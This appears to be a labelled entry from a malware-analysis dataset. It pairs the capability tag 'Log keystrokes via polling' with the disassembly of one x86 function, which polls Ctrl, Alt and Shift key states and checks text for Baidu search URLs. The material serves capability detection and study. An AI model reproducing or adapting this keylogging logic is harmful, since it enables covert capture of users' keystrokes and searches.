Function at 0x408910
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, 0x4128
call fcn.0051e250
push ebx
push ebp
push esi
mov edx, ecx
push edi
xor esi, esi
mov ecx, 0x411
xor eax, eax
lea edi, [esp + 0x1a]
mov word [esp + 0x18], si
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x411
xor eax, eax
lea edi, [esp + 0x1062]
mov word [esp + 0x1060], si
rep stosd dword es:[edi], eax
mov ecx, edx
mov dword [esp + 0x14], edx
stosw word es:[edi], ax
call fcn.00407c40
push eax
push 0x53d4a4
lea eax, [esp + 0x20]
push 0x823
push eax
call dword [sym.imp.MSVCRT.dll__snwprintf]
mov ebx, dword [sym.imp.USER32.dll_GetKeyState]
add esp, 0x10
push 0x11
call ebx
mov si, ax
push 0x12
shr esi, 8
and esi, 0xff
call ebx
mov di, ax
push 0x10
shr edi, 8
and edi, 0xff
call ebx
shr eax, 8
and eax, 0xff
mov ebx, 0x5711d0
test esi, esi
mov ebp, ebx
je 0x4089d1
test edi, edi
je 0x4089c1
mov ebx, 0x5a1f6c
mov ebp, 0x5a216c
jmp 0x4089ef
test eax, eax
je 0x4089e1
mov ebx, 0x5a1b6c
mov ebp, 0x5a1d6c
jmp 0x4089ef
test eax, eax
je 0x4089e1
mov ebx, 0x5a176c
mov ebp, 0x5a196c
jmp 0x4089ef
test esi, esi
je 0x4089ef
mov ebx, 0x5a136c
mov ebp, 0x5a156c
lea ecx, [esp + 0x18]
push ebp
push ecx
push ebx
push 0x53d778
lea edx, [esp + 0x1070]
push 0x823
push edx
call dword [sym.imp.MSVCRT.dll__snwprintf]
mov edi, dword [esp + 0x2c]
xor esi, esi
add esp, 0x18
cmp word [edi + 0x3fc8], si
lea eax, [edi + 0x3fc8]
je 0x408a5a
cmp word [ebx], si
jne 0x408a5a
cmp word [ebp], si
jne 0x408a5a
push eax
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.MSVCRT.dll_wcscpy]
add esp, 8
lea ecx, [esp + 0x18]
push esi
push 1
push ecx
mov ecx, edi
call fcn.00407d10
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x4128
ret
lea edx, [esp + 0x1060]
lea eax, [esp + 0x18]
push edx
push eax
call dword [sym.imp.MSVCRT.dll_wcscpy]
mov ebx, dword [sym.imp.MSVCRT.dll_wcsstr]
lea ecx, [esp + 0x20]
push str.baidu.com_s
push ecx
call ebx
add esp, 0x10
test eax, eax
jne 0x408a99
lea edx, [esp + 0x18]
push str.baidu.com_baidu_
push edx
call ebx
add esp, 8
test eax, eax
je 0x408b0b
lea eax, [esp + 0x18]
push 0x53d734
push eax
call ebx
mov edi, eax
add esp, 8
cmp edi, esi
je 0x408b0b
mov ebp, dword [sym.imp.MSVCRT.dll_wcscat]
mov ecx, edi
lea edx, [esp + 0x18]
lea eax, [esp + 0x1060]
sub ecx, edx
push 0x53d718
sar ecx, 1
push eax
mov word [esp + ecx*2 + 0x1068], si
call ebp
add edi, 6
push 0x53d714
push edi
call ebx
add esp, 0x10
cmp eax, esi
je 0x408af5
lea ecx, [esp + 0x1060]
push eax
push ecx
call ebp
add esp, 8
lea edx, [esp + 0x1060]
lea eax, [esp + 0x18]
push edx
push eax
call dword [sym.imp.MSVCRT.dll_wcscpy]
add esp, 8
lea ecx, [esp + 0x10]
lea edx, [esp + 0x18]
push ecx
push edx
mov dword [esp + 0x18], esi
call fcn.004a5400
mov ecx, eax
call fcn.004a5670
mov edx, eax
cmp edx, 0xffffffff
je 0x408b9e
mov ecx, 0x411
xor eax, eax
lea edi, [esp + 0x20aa]
mov word [esp + 0x20a8], si
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x10]
push 1
stosw word es:[edi], ax
push esi
lea eax, [esp + 0x20b0]
push 0x823
push eax
push ecx
push edx
call fcn.004a5400
mov ecx, eax
call fcn.004a58e0
lea edx, [esp + 0x20a8]
lea eax, [esp + 0x1060]
push edx
push 0x53d4a4
push 0x823
push eax
call dword [sym.imp.MSVCRT.dll__snwprintf]
lea ecx, [esp + 0x1070]
lea edx, [esp + 0x28]
push ecx
push edx
call dword [sym.imp.MSVCRT.dll_wcscpy]
add esp, 0x18
mov ecx, 0x411
xor eax, eax
lea edi, [esp + 0x30f2]
mov word [esp + 0x30f0], si
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x30f0]
push 0x823
lea ecx, [esp + 0x1c]
push eax
push ecx
call fcn.004d9960
mov ecx, dword [esp + 0x20]
add esp, 0xc
lea edx, [esp + 0x18]
push esi
push 1
push edx
call fcn.00407d10
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x4128
ret